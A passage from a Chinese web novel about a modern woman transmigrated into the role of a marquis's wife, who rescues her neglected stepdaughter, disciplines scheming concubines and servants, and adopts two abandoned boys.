《侯府大小姐竟是男扮女装?》 1. 穿书成当家主母 《侯府大小姐竟是男扮女装?》全本免费阅读 上元佳节,纵然已入夜,京城家家户户张灯结彩,热闹非凡。 安定侯府内亦是如此,安定侯夫人身边的大丫鬟绿俏递上一盏热茶,恭顺道:“夫人,时辰到了。” 苏若琳接过茶,吹了吹,抿了一口。 自她穿越到这本书里已经两个月了,从最开始的茫然无措,到现在已经基本适应了这个身份和角色。 原身苏若琳出自商贾之家,苏若琳的祖父白手起家,经过两代经营已经富甲一方,却奈何一直没有门路接触到王公贵胄,被旁人讥笑小门小户。 如今天下太平,国定安康,从武的这条路子苏家就不用想了,至于从文的话,苏家子弟于经商一事颇有天赋,但是考科举嘛......不提也罢。 因此苏家想要一步登天,跻身名贵之流,可谓难上加难。 而安定侯原本是国公爵位,因老国公手下贪污之罪连坐,人被赐了死罪,爵位也被削为侯。 安定安定,不就是在警告他们要安生老实的么。 老国公的世子,也就是如今的安定侯碌碌无为,原本只等着继承爵位,守好家业,顺遂一生便是普通人想象不到的荣华富贵。 然而国公一朝落魄为侯爵,侯府为了当初老国公连坐一事上下打点,早已入不敷出多年,终于到了快家徒四壁的地步,被苏家找上了门。 原来安定侯的夫人早年去世,恰逢当时国公被贬为侯爵,安定侯夫人是安定侯还是国公世子的时候娶的,如今被贬,还被圣上所厌弃,再续弦也没有门当户对的千金小姐愿意嫁,偏生安定侯却还觉得小门小户的配不上自己,因此这侯夫人之位一直空着许多年。 直到侯府快吃不起饭了,苏家愿以百家产业,万金财宝做嫁妆,让苏若琳做安定侯的续弦,来搭上贵族这条线。 因此,年方二八,正值妙龄的苏若琳就嫁给了比自己大十四岁的安定侯,成为了侯夫人。 好消息是,苏若琳手里的产业铺子养活着全府的吃穿用度,无人敢不敬她这个当家主母,而且自老国公被赐死后,老国公夫人,也就是安定侯的生母自请去道观静修,余生都在道观度日,上没有公婆,下没有逆仆,她的日子还是十分舒适的。 今天是元宵佳节,安定侯府在碧波厅摆了桌家宴,和府里的姨娘孩子们一起吃个饭,如今算着时辰快要到饭点了,苏若琳饮过热茶暖了暖身子,便起身让丫鬟绿俏给她拿件披风过来。 踏出自己的碧月轩,苏若琳往左边的路去。 绿俏连忙小声提醒苏若琳:“夫人,走反了,右边才是去碧波厅的路。” 两个月前,夫人生了场大病,醒来之后便有些迷糊,身体也虚弱的很,夫人担心府里没了主心骨生乱,愣是强撑着病情不叫别人知道,只命自己在夫人又犯迷糊的时候提醒她。 虽然这两个月来夫人的身体逐渐好转,人也逐渐清醒,如今看来病还是没有好彻底,又犯迷糊了。 然而苏若琳却露出了一个充满深意的笑容:“不,先去露华池一趟。” 露华池,顾名思义,是安定侯府后花园里的一个大池子,暖春夏季池子边上繁花硕景,池里锦鲤成群,是个玩赏的好去处,只是,现在是元宵节,池子里的冰都没完全解冻,还是大晚上,去那里肯定不是为了玩的。 苏若琳来到后花园,只见远处站着几个人影,还没看清样貌,一道娇纵的呵斥先传了过来:“杨婉枝,你这身衣服从哪来的?” 说话的是侯府的二小姐,杨婉玉。 杨婉玉的生母柳氏是安定侯的宠妾,在安定侯尚未续弦的这些年里,一直是交给她持拿中馈,由此可见宠爱之胜,而她的女儿自然也是被娇生惯养,性格无法无天到敢对自己的嫡姐大呼小叫了。 被呵斥的杨婉枝瑟缩着脖子:“这,这是母亲赏的,是我的份例。” 杨婉枝是安定侯原配之女,幼年丧母后就被送到庄子里养大,爹不疼娘不爱的嫡出小姐受尽磋磨,今年十三了,是到了相看夫家的年纪,因此被从庄子里接了回来。 “你的份例?”杨婉玉的声调扬高了几分,似是很难以置信,“你这衣服料子比我的都好,我从来没穿过这么好的衣服,你一个从庄子里养大的粗鄙乡野凭什么穿这么好的东西,拿这么好的份例!” 苏若琳闻言轻笑,侯府前些年穷的都快吃不起饭了,是原身嫁过来才让侯府有的吃穿,杨婉玉当然从来没穿过这么好的。 而且,嫡庶小姐的份例当然是不同的,她按规矩办事,杨婉枝是嫡姐,穿的衣服当然得比庶妹的好。 只是从小被宠成嫡出的杨婉玉显然难以接受,她抓起嫡姐的手臂,露出对方手臂上的镯子:“还有这镯子,足金的,镶着翡翠!夫人凭什么对你这么好!你天天跟着鹌鹑蛋似的,让人看了就烦,夫人凭什么这么偏心,还是偏心你!” 绿俏听着就想上前,身为子女竟敢诋毁嫡母,这种场合夫人不必自己出面,她身为夫人身边的大丫鬟,一言一行代表着夫人,有权利也有义务在这种时候代夫人口头管教庶子庶女。 然而苏若琳一摆手,将绿俏拦住:“继续看,好戏在后边呢。” 只见两姐妹说着说着便吵了起来,也可以说是杨婉玉单方面欺负嫡姐,吵到最后,杨婉玉居然让丫鬟婆子把嫡姐头上的首饰全拔了下来,还要扒掉嫡姐的衣服。 杨婉枝自然是不肯的,她身边的丫鬟也护着她,庶妹气得让丫鬟婆子把她推搡到了水里去。 初春的水池子甚至还没完全解冻,冷得刺骨,杨婉枝起初还有些力气喊“救命”,但从她逐渐不发出声音开始,杨婉玉就有些慌了。 “你们谁会水,下去把她捞上来?” 丫鬟婆子纷纷摇头,眼见着大小姐连扑腾的力气都没有了,小心道:“二小姐,要,要不我们去人,找外院的家仆来吧!这水池子深得很!” “不能喊!”杨婉玉还算有些眼力见,“一旦传出去,夫人一定会知道我做了什么!” 听到这话,苏若琳知道该自己登场了。 “我会知道什么?” 在原书里,杨婉枝今晚就会在冰冷的露华池里活活淹死,等被救上来后,女主就会穿越到杨婉枝的身上,给这个害杨婉枝死的侯府带来灭顶之灾。 不要说苏若琳不能让自己跟着遭殃,她也不能眼看着一个活生生的女孩被淹死而什么都不做。 今天她就偏要逆天而行,女主打哪来的,回哪去吧。 “母,母亲!”杨婉玉结结巴巴道,夫人怎么在这个时候来了! 苏若琳瞪了她一眼:“你最好祈祷你的嫡姐没事。” 她让会游水的丫鬟下去救杨婉枝上来,检查杨婉枝的情况,发现只是呛水晕过去了,没一会就咳出水,大口地呼吸着。 只是苏若琳却看到,杨婉枝的双手双脚上生满了冻疮,好多处皮肤都开裂了,甚至有些地方都已经变成了灰黑色!这哪里是一个小姐家的手? 她略微皱眉,这冻疮看样子,应是常年生出的,一直得不到治疗。 杨婉枝苏醒过来,先是茫然地看着四周,好一会才反应过来,在丫鬟的搀扶下站起来,行礼:“见过母亲。” 这时苏若琳忽然发现,杨婉枝明明十三岁,却和十岁的杨婉玉一样高,甚至可能还要矮上一点。 她眯起眼睛,心中无名火起, 2. 家宴风波 《侯府大小姐竟是男扮女装?》全本免费阅读 等苏若琳来到碧波厅时,众人都已落座了,只有小姐们那边的位子空着两个。 很明显就是杨婉枝和杨婉玉的。 苏若琳来到自己的位子上,途径的姨娘晚辈们纷纷行礼,苏若琳只觉得自己被喊老了几十岁,明明这具身体如今也才十八岁,怎么就辈分就这么大呢。 守在她位子旁的丫鬟叫红烛,是她从娘家带过来的丫鬟,奉她之命提前来这里布置席面,如今见到她来,很自觉地帮她把椅子拉开。 苏若琳看向上首的杨询:“大小姐不小心落水了,要过一会才能来,二小姐犯了错,我罚她禁足了,不用等她们了,侯爷,咱们这就开始吧?别让大家都饿着了。” 安定侯杨询略微皱眉,没说什么,但是坐在苏若琳对面的柳姨娘却是坐不住了:“敢问夫人,婉玉做错了什么,要在这大好的日子禁足了?” “当然,我不是对夫人的命令不满的意思,只是这大好的日子,别犯了晦气,有什么事不如过了今日再说?元宵节求的便是团圆,如今缺少了个人,也难怪侯爷不高兴呢。” 此言一出,原本只是皱眉的杨询也出言道:“确实不妥,不管犯了什么错,得让婉玉来参加家宴。” 苏若琳很有深意地笑了,当然不能让杨婉玉来,她禁杨婉玉的足其实是为了查柳姨娘这些年来贪污杨婉枝的份例一事,包括方才路上说的炭,若是让杨婉玉给柳姨娘打了小报告可怎么行? 她向绿俏使了个眼色,后者会意道:“柳姨娘可知,大小姐就是被二小姐推下去的,不仅如此,二小姐还在背后非议夫人,若不是恰好被夫人看见,将大小姐救了上来,咱们侯府说不定就要在这大好的日子出大事了。” 此言一出,柳姨娘的脸色登时变得惨白。 苏若琳慢悠悠道:“咱们府上没有把所有子女都交由主母养的规矩,只是如今看来,柳姨娘你的教导实在欠妥,看在今个大好的日子上,我不追究,只是柳姨娘也莫要谈这些晦气事了。” “是,是,妾身知道了,多谢夫人教导。”这柳姨娘还敢说什么呢,忙不迭地赔罪。 杨询冷哼了一声,也没再说什么。 说来也是奇怪,苏若琳自觉这具身体的皮囊是真的倾国倾城,顶尖的美,还年轻,可杨询对她的态度一直不冷不谈,不知是瞧不上她的出身,还是觉得自己要靠女人养太憋屈了? 不过好消息是,她用不着去伺候一个三十二岁的老男人,从这具身体的记忆来看,杨询自她入府的那天起,哪怕是洞房花烛夜也没碰过她。 但事实是,莫说来她房里,杨询这两年来没有在任何姨娘的屋里留宿过,连最受宠的柳姨娘和秋姨娘也只是白天去她们院子里看看。 难道是她嫁过来之后杨询就不行了?可是一个人好好的怎么就不行了,这里边肯定有故事。 这顿家宴苏若琳吃的很香,杨询喝酒喝到高兴了便叫大儿子到跟前来考校书念的如何。 因着目前还没有嫡出少爷的缘故,侯府目前还没有世子,大少爷杨纨玦今年十二岁,是秋姨娘所出,已经考中秀才,杨询对这个儿子很是满意,寄予厚望。 侯府一共就两个少爷,大的在这边被爹考校,柳姨娘眼珠子转了转,没一会就有丫鬟来把小的也抱来了,道是二少爷睡醒了想爹娘,哭着喊着要来。 二少爷是柳姨娘所出,如今一岁半,恰好在原身过门半年出生的,因着古代孩子容易夭折,都要把孩子养到一定岁数才给取名。 这句想爹娘未必是真心的,但显然杨询很受用,难得亲自逗孩子,丫鬟把二少爷放下,二少爷便颤颤悠悠地往杨询那边走,柳姨娘说了几句奉承话,其乐融融。 倒是显得边上的大少爷杨纨玦有些多余了,走也不是,不走也不是,秋姨娘不甘地看着这一幕,却没有办法。 还是苏若琳给杨纨玦一个眼神,让他回去。 这顿饭很快吃完了,苏若琳目送着各院的人离开,到最后人都走光了,小声嘱咐红烛道:“去灶房打包一份剩下没上的饭菜,三个菜两碗米饭,现在去。” 红烛得了命令离开,这时苏若琳发现,晚来了一步的杨婉枝还坐在位子上迟迟没有走。 苏若琳心下纳闷,来到杨婉枝身边:“怎么还不走,有事情吗?” 正低头发呆的杨婉枝一愣,有些惊恐地看着苏若琳,没敢说话。 先前替杨婉枝出头的丫鬟道:“回夫人,我们小姐那院里又冷又透风,实在是不能多呆......” 苏若琳笑了,只是那笑容里实在看不出善意:“你叫什么名字?” 那丫鬟却没多想:“回夫人,奴婢名叫彩衣。” “嗯,我问你家小姐,有你说话的份吗?”苏若琳突然变脸,“看来是进府的时候没有好好教导你规矩,回去自己领十个板子,涨涨教训,再有下次,可没这么轻了。” 彩衣讪讪地闭上了嘴,苏若琳看向杨婉枝:“你说。” 话要是一直都让丫鬟说了,那杨婉枝的胆子就永远那么小,永远受欺负,她得自己学会成长。 只见杨婉枝满是冻疮的手搓了搓,小心翼翼道:“回母亲,清幽阁太冷......这里暖和,饭菜也比平时好吃很多。” 苏若琳环顾桌上的菜品,要说实在有多好,最多是菜多罢了,莫非灶房那边也克扣了杨婉枝的伙食?! “我记得,清幽阁是在后院的东北角?”苏若琳看向绿俏。 清幽阁,这名字听着就冷。 绿俏道:“回夫人,是如此。” 苏若琳皱眉:“可我记得,二小姐住的似乎是轩子?” 轩子和阁子差的可大了,阁子一般都是姨娘住的,庶女都能住轩子,怎么嫡女却只能住小阁子? 这一刻,苏若琳突然想起来,按照规矩,杨婉玉原本应该住阁子,却从小住的轩子,杨婉枝搬回来后,原身确实提了一嘴这个事,只是却只说了一个该住阁子一个该住轩子,具体谁住哪个也没有明说。 柳姨娘毕竟当了这么多年的家,钻点空子,让女儿住个好点的地方自然是没问题的,也正好给杨婉枝使绊子,让她住进了最破的阁子。 苏若琳似乎有点明白原身的做派了,要说给,她是都给的,都按照规矩来,谁也不能挑她的错,但是东西给下去,你能不能守好,会不会被人抢,就得看你自己的本事了。 她叹了口气:“后院总不可能就没有空着的轩子了,最好的是哪个?” 绿俏当即会意:“西面的明月轩如今还空着,奴婢稍后安排人去打扫收拾一番。” 苏若琳点头:“让大小姐的丫鬟们现在就把大小姐的东西收拾收拾搬过去,还有炭,缺多少先补上。” 她说着看向彩衣和杨婉枝身后的另一个丫鬟:“你们两个回去一个,收拾东西给你们小姐搬家。” 苏若琳以为会是彩衣留下来照看自家小姐,没想到留下来的却是另一个,不禁多看了两眼。 这个丫鬟身材高大,看着倒有点像练家子。 “你......”苏若琳点了点这个丫鬟,“你不是原本府里的老人 3. 女儿罚下人 《侯府大小姐竟是男扮女装?》全本免费阅读 食盒的盖子一开,饭菜的香味瞬间弥漫到了冰冷阴暗的柴房里,两个孩子也是饿坏了,此刻闻到了香味,迷迷糊糊地睁开眼。 映入两个孩子眼前的,是一个美丽华贵的年轻妇人,绫罗璀璨险些闪瞎了他们的眼。 一个孩子揉了揉眼睛,不确定道:“您,您是,夫人?” 苏若琳有些惊讶:“你认得我?” 那孩子点头:“叔叔婶子们说,自从两年前夫人进府,府里的日子就变好了,我们能吃到的饭也比以前好了?” 他说着连忙带着两个孩子行礼:“见过夫人。” 苏若琳轻笑,这孩子很聪明,让绿俏把饭菜都拿出来放到地上:“你们吃到的饭,可比这些好?” 两个孩子目不转睛地看着饭菜,吞了吞口水。 “吃吧。”两个孩子连向夫人道谢都没顾得上,狼吞虎咽起来。 绿俏看着这两个孩子连筷子都不用,直接用脏兮兮的手抓着吃,眉头直皱,苏若琳苦笑,如果没有她穿到这里,这两个孩子再过两年就会被卖到南风馆去了。 那个时候被穿越的杨婉枝已经将侯府搅得翻云覆雨,早就没人顾得上这两个孩子,所幸她来了,一定会尽自己最大的努力让这三个苦命的孩子好好长大。 苏若琳这样想着,蹲下看着两个坐在地上猛吃的孩子:“你们想不想每天都能吃上这样的饭菜?” 闻言,两兄弟全都停下了动作,齐刷刷地看向苏若琳。 “每,每天?” “对。”苏若琳点头,“还能有新衣服穿,住暖和的房子,每日还会有先生教你们识字念书,想吗?” 两兄弟难以置信地看着她,她尽量让自己的目光看起来温柔,避免吓到两个孩子。 过了一会,两兄弟互相看了对方一眼,斩钉截铁道:“想!” “好,你们两个叫什么名字?”苏若琳问道。 “我叫阿枫。”先前认出苏若琳的那个孩子道,“我的弟弟叫阿岚。” “阿枫,阿岚,好,我记住了。”苏若琳站起身,“你们先吃,吃完跟我走。” 两兄弟更卖力地吃饭,吃完饭跟着苏若琳离开了柴房,当他们来到后院,看到和下人们住的房子完全不同的精致的院落后,心中既惊喜又害怕,等待他们的是什么? 苏若琳回到碧月轩以后,红烛还没有回来,她吩咐两个小丫鬟:“你去跟大少爷借两身往年的旧衣服,你带两个小少爷去耳房,再带几个丫鬟婆子给他们洗干净了来见我。” 两个丫鬟领命离开,绿俏小心翼翼地问道:“夫人,咱们这么大张旗鼓地......老爷会不会不高兴啊?” 苏若琳轻笑:“我自有办法。” 过了一会,两兄弟回到了苏若琳的面前,彼时他们两个已经洗得白白净净,身上穿着锦衣玉料,两兄弟虽然已经十岁了,可从小就发育不良的,看起来至多八岁,穿着大少爷两年前的衣服也还是有些大,松松垮垮的。 这两兄弟的长相应是随了他们母亲的,长得明眸皓齿,竟然不似男孩,倒像是秀气可人的女孩,难怪会被卖去南风馆。 苏若琳满意地点头,这时红烛也回来了,苏若琳问道:“大小姐可搬好家了?” “回夫人,大小姐已经住进明月轩了。”红烛道。 “嗯。”苏若琳道,“我记得前院的腾云轩如今还空着?红烛你去我的私库里找席被褥,带两个少爷去腾云轩先将就一晚,绿俏你去支一盆炭搬到腾云轩。” 两个丫鬟领了命,一口气连搬了三个家的苏若琳伸了个懒腰,预想着明天府里肯定会因为她这通操作直接炸锅,不过那都影响不了今晚她睡个好觉。 这样想着,她吩咐丫鬟婆子再备一桶热水,泡个澡睡下了。 次日一大早,杨询就过来兴师问罪了:“你都干了些什么好事?!” 苏若琳也不跟他兜圈子:“老爷说的是我昨晚安顿两个少爷的事?” “还少爷?”杨询被气笑了,“你有没有好好打听他们两个的来历?你是想让我死还是想让这个侯府没?!” “不至于的,老爷。”苏若琳淡定地喝了口茶,轻轻摇头,“不过是两个没了姨娘的少爷而已,那两个姨娘原是府里的丫鬟,先后怀了孕,都知道自己生的是个儿子所以互相谋害对方,结果两人都难产了,生下了孩子就撒手人寰了。” 杨询听她这通驴唇不对马嘴的话听得莫名其妙:“你在说什么?” “我在说两个少爷的身世啊。”苏若琳露出了一个满怀深意的笑容,“后来老爷便因此厌弃他们了,多年来也不愿提起他们,直到今日,老爷想起已经九年没关心过这两个儿子了。” 杨询冷笑:“你是要给他们重新造个身份?” “已经十年了,老爷。”苏若琳站起身挽住杨询的胳膊,“若是东窗事发,早就事发了,不会还留到现在,况且,老爷您如今女儿是不少,但是这十年来儿子就生了一个,而且二少爷还小,说句不好听的,万一二少爷养不大,大少爷再有个意外,我不是在这乌鸦嘴,只是给咱们侯府多几条后路总没错吧?” “况且,大少爷一表人才,老爷您焉知其他儿子会不会都继承您的优秀,多一个不成器的儿子也就罢了,若是能多一个像大少爷这样争气的,往后能给侯府带来多少助力!”苏若琳循循善诱道,“至于上族谱的时候姨娘是谁,死了姨娘的孩子都是记到嫡母名下的,还用在乎姨娘是哪个吗?” “原来你是这个想法。”杨询自以为明白了苏若琳的真实意图,毕竟他从苏若琳过门后一次都没碰过她,她是担心万一这辈子都没法生个儿子,将来没有保障啊。 杨询捏起苏若琳的下巴,细细端详着,长得确实是美若天仙,若是他能的话何至于冷落她这么多年?可惜了......“罢了,就依你的便是。” 苏若琳喜笑颜开:“谢谢老爷!那咱们什么时候开祠堂,给两个少爷上族谱?这两兄弟一个叫阿枫一个叫阿岚,那便叫杨纨枫、杨纨岚如何?” “都行,你要是确定好了,明日我就去请族老来开祠堂上族谱。”杨询也有点担忧了,他这两年也看了不少大夫,开了不少药,一点用都没有。 如果以后真就只有这两个儿子了,以后两个儿子有了闪失可怎么办,侯府不能后继无人啊。 儿子还是越多越好,反正也都是他亲生的。 想到这,杨询还是叮嘱一下;“不管多了几个儿子,我看好的都是纨玦,只要他争气,将来这侯府也是他的,你不要想着养两个儿子就能替代他,我侯爵的位子要传给争气的儿子。” “老爷放心。”苏若琳完全没想过养两个孩子来夺嫡的事,反正她是嫡母,就算是庶出的继承了爵位不也得敬着她?不然就 4. 你要嫁人吗? 《侯府大小姐竟是男扮女装?》全本免费阅读 “要罚!” 这话听得苏若琳眼前一亮,她还以为杨婉枝是个软柿子,倒是没想到还有刚硬的一面。 “你来决定,怎么罚?” 杨婉枝又沉默了,倒不是她在犹豫,而是她也不知道有什么刑罚。 半晌,她想起了昨晚苏若琳罚彩衣板子的事。 “就,打板子?” 苏若琳好整以暇地看着她:“像这样仆大欺主的,连主子都敢欺负,还有什么是不能干的?往重了罚的,发卖出府,或是杖毙的都有,你却只打板子?” 杨婉枝咬了咬下唇:“他们是坏了规矩,但是以后也不敢了,我从前受的委屈也不会因为把他们打死了补回来,就教训一下吧。” 苏若琳轻笑,她还以为,从小就倍受欺负,那若不是软柿子的话恐怕会养成暴戾的性格,但是杨婉枝竟也没有,心思纯良,难得啊。 吩咐绿俏:“你去把陈管事和陆掌勺叫来。” 府里一共四个管事,早上买丫鬟的那个管事负责的是采买,陈管事便是负责看管处罚下人这一块,而陆掌勺是后厨的头。 不一会,陈管事就来了:“夫人,您找我?” 相比之下,陆掌勺打进门开始就心神不宁,在看到苏若琳身侧的杨婉枝后,双膝一软,跪下便痛哭流涕道:“夫人,大小姐,小的知罪,小的实在不该啊!” 苏若琳悠哉游哉地喝了口茶:“你该求大小姐开恩。” “大小姐,求大小姐开恩啊!”陆掌勺膝行到杨婉枝脚边,“是小的被猪油蒙了心,一时犯了糊涂啊!求大小姐看在小的诚心弥补的份上,饶过小的这一次吧。” 杨婉枝有些手足无措,看向苏若琳求救。 苏若琳摇了摇头:“大小姐念在你诚心悔改,便轻饶你一次,只是死罪可免,活罪难逃,你跟着陈管事去二十个板子,所有贪下的钱,今天之内全部还回来。” “是,是,小的明白了。”陆掌勺赶紧谢恩。 “都下去吧。” 苏若琳打发走下人们后,定定地看着杨婉枝,看的杨婉枝心里毛毛的。 “母亲……怎么了?” “没什么。”苏若琳轻笑,“还有一件事,你也知道,年前把你接回来,是因为你到了该议亲的年纪了,给你议亲是我这个做母亲的责任,但是我想着再多留你几年,教教你琴棋书画,看账管家。” “虽说大户人家大多十三四开始议亲,十四五就嫁人,但是留到十六七的也不是没有,像我,就是十六岁嫁进了咱们侯府。” 苏若琳想起了昨晚杨婉枝和她庶妹杨婉玉站在一起时,两人居然一样高的情形,这孩子身子这么差,皮包骨头似的,脸色也苍白得吓人。 真要嫁人也得先把身上的肉养出来,脸蛋养的红润了才行啊,不然就这体格,真嫁人怀了孩子,生育那一关能不能过还真的够呛。 况且十四五岁,哪里到了该生育的年纪呢?她没办法改变这个年代的思想,但是至少得力所能及的让自己身边的孩子少吃点苦。 “当然,这个事在你,你若是想嫁人,我也不强求。”苏若琳补充道,“你也不用担心会让我心生芥蒂之类的,这事你可以慢慢考虑,过些日子再给我答复。” “好。”杨婉枝答应道。 嫁人么?她还从没想过,从前的日子吃不饱穿不暖,哪还有心思想着嫁人? “不过,不管你着不着急嫁人,也该教你些千金小姐该会的东西了。”苏若琳道,“你往后嫁到夫家是做正妻,将来要做主母的,不说琴棋书画样样精通,至少得会识字,会看账。” “明天这个时辰你来找我吧,我手把手教你。”苏若琳估摸着把所有的事情都交代完了,“还有什么事吗,若是没事的话你可以回去了。” “还,还有。”杨婉枝连忙道,脸上带着一些羞涩,“谢谢母亲的膏子,用过之后很好,手也感觉跟从前不一样。” “手怎么样了,我看看。”苏若琳让杨婉枝伸出手,冻疮不可能一天就下去,但是摸着确实没有那么干了,“嗯,确实好了一点,等过两天再带你出去买些脂粉首饰,这些都得有。” “谢谢母亲。”母亲的手柔软光滑,摸着她的手痒痒的,“还有就是,母亲借给我的斗篷,昨晚被我弄脏了,已经清洗过了但还没干,女儿想着等晾干了之后再还回来。” “一件斗篷而已。”苏若琳揉了揉杨婉枝的头,这傻孩子自称女儿了呢,真可爱,“送你了。” “谢,谢谢母亲。”杨婉枝的脸蛋更红了,这是她自记事以来第一次被人摸头。 原来被长辈关心的感觉是这样的,心里暖暖的。 “还知道害羞。”苏若琳调笑道,“好了,你回去吧,我还有事要忙。” 杨婉枝离开后,苏若琳又把杨纨枫和杨纨岚的份例都定好,派下人去全府各处都通知了一遍,从今以后,这两兄弟便是府上名正言顺的二少爷和三少爷,原本柳姨娘所出的二少爷一下子变成了四少爷。 一下子多了两个要争家产的,不仅是柳姨娘不高兴,大少爷杨纨玦的生母秋姨娘更是着急。 今日休沐,杨纨玦在自己的院子里温习功课,秋姨娘着急地来同他讲他多了两个弟弟的事,哭着道:“我的儿啊,原本整个侯府唯有你可以继承家业,后来多了柳氏生的小的不说,现在又多了两个,都怪娘没用啊,只是个姨娘,没办法给你争个嫡出。” 杨纨玦早慧,如今虽然只有十二岁,但已经通事理了,他无奈道:“姨娘不必太过担忧,先生夸我天资聪颖,将来有大出息,父亲也一向看重我,并非是多了两个弟弟就能轻易撼动的。” 秋姨娘这才止了哭声,苦着脸道:“娘实在是担心你,新认的这两个是记到主母名下的,也算嫡出,柳氏又一向会讨侯爷的欢心,都不是好争斗的。” 柳氏的儿子也就罢了,这个年代的孩子多半都早夭,但是新认的这两个小子已经十岁了啊!他们的出身侯府的老人都清楚,秋姨娘实在纳闷,侯爷是怎么同意的呢! “如果实在争不了这侯府。”杨纨玦合上书,安慰道,“那儿子就早日科举及第,做官安家,把您接出去住,到时候您就是正儿八经的婆母,也不用再看谁的脸色。” “你这小子。”这一通安慰果然奏效,秋姨娘破涕为笑,“虽说天气会越来越暖和,儿啊也小心些别着凉,把炭烧的足足的,娘也好些日子没煲汤了,手艺也生疏了,回头煲好了给你送过来。” “嗯。娘亲手煲的汤最好喝了。”杨纨玦含笑着把秋姨娘送走。 而秋姨娘从儿子的院子里出来后,琢磨着煲好了汤也给夫人送去一份,去探探夫人的口信 5. 秋姨娘投诚 《侯府大小姐竟是男扮女装?》全本免费阅读 下午,苏若琳在屋子里看账本,外边来报秋姨娘来了。 “定是因为两个少爷的事来的。”绿俏道,“夫人,咱们见还是不见?” “见。”苏若琳放下账本,“看看这秋姨娘能怎么说。” 不一会,秋姨娘便进来了,还端着一罐刚煲好的汤,人一进屋,满屋子都是汤的鲜香。 “秋姨娘这是自己煲的?咱们府上的厨子可没这手艺。”苏若琳调笑道,“秋姨娘好手艺啊,莫不是故意来馋我的?” “哪能呢?”秋姨娘也笑了,“妾身猜着最近大小姐搬家,府上又多了两位少爷,夫人应是忙得很,特意煲了一罐给夫人补补身体,还望夫人不要嫌弃。” 苏若琳点点头:“你有心了,绿俏去拿两个碗来,我和秋姨娘尝尝这汤。” 一碗热汤下肚,苏若琳只觉得自己舌头被鲜到了,本来她这碧月轩也不冷,如今喝完汤她竟出了几丝热汗。 “秋姨娘这煲汤的手艺,怕是饕餮楼的大厨也比不过吧!” “夫人谬赞了。”秋姨娘道,“说起来,夫人前阵子生了场大病,虽说要静养,可妾身也着实担心,奈何怕打扰到夫人。” “如今看着夫人气色好多了,妾身也就放心了,只是还得注意多进补。”秋姨娘说着福了福身,“往后我们母子三人,还得仰仗夫人的庇佑呢。” 秋姨娘出了儿子大少爷之外,还有一个女儿,今年五岁,是府上的三小姐。 苏若琳听秋姨娘这话里有话,莫非她是想投诚? “秋姨娘哪里话,大少爷如今争气的很,我和侯爷都很看好这孩子,说不定以后这侯府家业都传给大少爷,秋姨娘日后可有的好日子呢。” 听到夫人没有夺嫡的意思,秋姨娘松了口气,心一横,将心中的打算说了出来。 “纨玦争气和我这个姨娘其实没什么关系,全是他自己争气,妾身想着,二少爷和三少爷如今也十岁了,早就记得在府上过得什么苦日子,生性也未可知。” “与其二少爷和三少爷给夫人养老送终,不如把纨玦这孩子改记到夫人名下,纨玦是咱们看着长大的,一根好苗子。” 豁,这秋姨娘可真豁得出去。 只是这事也就想想吧,纨枫和纨岚好歹压根不知道生母是谁,纨玦可是知道得清楚,他生母还活生生的坐在这呢,这改记到她名下和没改有什么区别? “秋姨娘的诚意我知道了。”苏若琳又喝了一口汤压压惊,“我收养二少爷和三少爷只是不忍侯爷的血脉受苦,放心,纨玦还是你的,只要他争气,这侯府没人和他抢。” “只是还有一点,这两个孩子如今是九岁,不是十岁,秋姨娘可别记错了。” “好,妾身记住了,往后必不出错!”秋姨娘喜出望外,“往后妾身定为夫人鞍前马后,妾身也没有别的长处,这汤夫人若是喜欢,那妾身往后就经常给夫人煲汤喝。” “那我可真是有口福了。”苏若琳笑了。 恰巧这时,下人来报,说是负责采买的刘管事回来了,带着一溜丫鬟婆子在院子外边等着夫人检查呢。 “让刘管事把他们带进前厅里来。”苏若琳说着看向秋姨娘,“不如秋姨娘和我一同去看看,若有看上的给大少爷挑两个过去也成。” 这话说的秋姨娘一下子紧张了起来,夫人是想要往自己儿子的院里按插人手吗?那自己是答应还是不答应了? 秋姨娘咬牙,答应吧,方才刚投了诚,现在又不答应岂不是搬起石头砸自己的脚? 苏若琳被她脸上的表情逗乐了:“你想多了,我没有旁的意思,不过是关心一嘴罢了。” 秋姨娘赔笑:“是妾身想岔了。” 两人说着便来到了前厅,刘管事刚让下人们站好,一群丫鬟婆子乌泱泱地站在屋子里,咋一看全是人头。 刘管事迎到苏若琳面前:“夫人,都照您的吩咐买好了,最前边一排都是踏实机灵的,您看看。” 苏若琳环顾了一圈,确实,这一个个姑娘瞧着平头正脸的,有几个还有些眉清目秀,很是不错。 “旁的不说,这一个。”刘管事把最边上的一个姑娘叫了来,“这丫头叫芷若,父亲是个郎中,早些年带着她跋山涉水,也跟着学了不少医术,只是前些年她父亲行山途中不小心摔断了腰,年前没能挨过去,她家本来也没钱,这些年为了给她父亲卖药也花光了,只好到大街上卖身葬父。” “小的见她实在可怜,更何况这会点医术说不定对夫人也有些用处,小的便作主买了来,只是会比牙行贵些。”刘管事补充道。 苏若琳点头:“你做得很好,绿俏,赏。” 绿俏便上前来递给了刘管事一个封赏的荷包。 “谢谢夫人!” “你这丫头会医术?”秋姨娘上前打量着这个叫芷若姑娘。 “回主子,会一点。”芷若也不知道秋姨娘是府上的什么人,瞧着穿着不俗,叫个主子总是没错的。 秋姨娘看着芷若顺从的模样,满意地点头:“说起来,咱们府上的柳姨娘也曾是个医女,她父亲也是个郎中呢。” 苏若琳来了兴趣:“哦?柳姨娘竟还有这般来历?” 直觉告诉苏若琳,这事有瓜,绝对有瓜。 秋姨娘笑道;“夫人才嫁到府上两年,不知道也正常。” “当时咱们侯府还是国公府,老国公爷......哦不,老侯爷还在世。”秋姨娘发觉自己说错了嘴,连忙改口。 “老侯爷带着老夫人和侯爷去江南游玩,当时先夫人已有数个月的身孕,不宜变动,又因着妾身是家生子,早些年也伺候过老夫人,那次下江南便点了妾身陪同侯爷,才有幸见证一门姻缘啊。” 秋姨娘刻意放大了些嗓门,这下不知苏若琳,连同那些新来的丫鬟婆子们也被勾起了好奇心。 “然后呢?” “后来,老侯爷也是爬山途中,竟突发心疾,老夫人和侯爷都吓坏了,眼见着要不行了,是柳姨娘在山上采药,碰到了,指挥侯爷把老侯爷背下山,才把老侯爷救了回来。” “是柳姨娘救的老侯爷?那柳姨娘的父亲不在吗?”苏若琳问道。 “当时江南有一大户人家也生了重病,柳郎中在那户人家里连着照顾了好些天,回来不了。”秋姨娘解释道,“反倒是柳姨娘不仅把老侯爷的命救了回来,还事必躬亲地照顾了老侯爷好些日子,直到老侯爷身体康健。” “这可真是侯府的大恩人啊。”苏若琳感慨,“想不到柳姨娘对侯府还有如此大恩。” 